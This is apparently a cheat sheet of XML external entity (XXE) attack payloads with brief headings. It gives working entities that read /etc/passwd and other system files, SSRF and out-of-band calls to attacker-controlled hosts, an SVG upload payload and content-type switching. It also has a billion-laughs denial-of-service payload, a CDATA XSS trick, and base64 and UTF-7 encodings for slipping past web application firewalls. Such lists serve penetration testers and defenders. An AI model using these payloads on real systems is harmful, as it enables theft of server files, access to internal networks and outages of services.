XXE

Created by @mehdi0x90

Retrieve files

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
```

Perform SSRF attacks

```
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>
```

Blind XXE exfiltrate data out-of-band

```
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>
```

```
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>
```

Blind XXE to retrieve data via error messages

Finding hidden attack surface for XXE

XInclude

```
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
```

file upload

if the application expects to receive a format like PNG or JPEG, the image processing library that is being used might support SVG images. Since the SVG format uses XML, an attacker can submit a malicious SVG image and so reach hidden attack surface for XXE vulnerabilities.

SVG upload

```
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://
www.w3.org/1999/xlink" width="300" version="1.1" height="
200"><image xlink:href="file:///etc/hostname"></image></svg>
```

PDF upload

modified content type

From x-www-urlencoded to XML

normal request contains the following

```
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar
```

you might be able submit the following request, with the same result

```
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
```

From JSON to XEE

normal request

```
Content-Type: application/json;charset=
UTF-8

{"root": {"root": {
  "firstName": "Avinash",
  "lastName": "",
  "country": "United States",
  "city": "ddd",
  "postalCode": "ddd"
}}}
```

changed request

```
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/
TEST.ext" >]>
<root>
 <root>
  <firstName>&xxe;</firstName>
  <lastName/>
  <country>United States</country>
  <city>ddd</city>
  <postalCode>ddd</postalCode>
 </root>
</root>
```

DoS

Billion Laugh Attack

```
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
```

XSS

```
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
```

WAF & Protections Bypasses

Base64

```
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,
ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
```

UTF-7

cyberchef — Sample

```
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-
SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+
AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+
AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
```

```
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
```

File:/ Protocol Bypass

If the web is using PHP, instead of using file:/ you can use php wrappersphp://filter/convert.base64-encode/resource= to access internal files.

If the web is using Java you may check the jar: protocol